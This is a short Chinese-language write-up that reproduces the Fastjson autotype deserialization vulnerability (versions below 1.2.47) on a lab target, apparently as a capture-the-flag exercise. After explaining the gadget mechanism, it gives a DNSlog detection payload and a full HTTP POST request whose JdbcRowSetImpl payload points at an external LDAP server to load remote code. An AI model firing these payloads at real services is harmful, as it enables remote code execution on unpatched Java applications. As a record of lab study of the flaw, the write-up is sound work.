Fastjson 提供了 autotype 功能,允许用户在反序列化数据中通过 “@type” 指定反序列化的类型,其次,Fastjson 自定义的反序列化机制时会调用指定类中的 setter 方法及部分 getter 方法,那么当组件开启了 autotype 功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定 setter 或者 getter 方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的 “Gadget”),则会造成一些严重的安全问题。并且在 Fastjson 1.2.47 及以下版本中,利用其缓存机制可实现对未开启 autotype 功能的绕过。
0x01 漏洞环境
0x02 影响版本
fastjson < 1.2.47
0x03 漏洞复现
访问靶机,界面如下:

判断是否使用了fasgjson框架。
{"name":{"@type":"java.net.Inet4Address","val":"xwqn3w.dnslog.cn"}}


POST / HTTP/1.1
Host: 123.58.236.76:47055
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://x.x.x.x:1389/woxnoj",
"autoCommit":true
}
}


获取flag。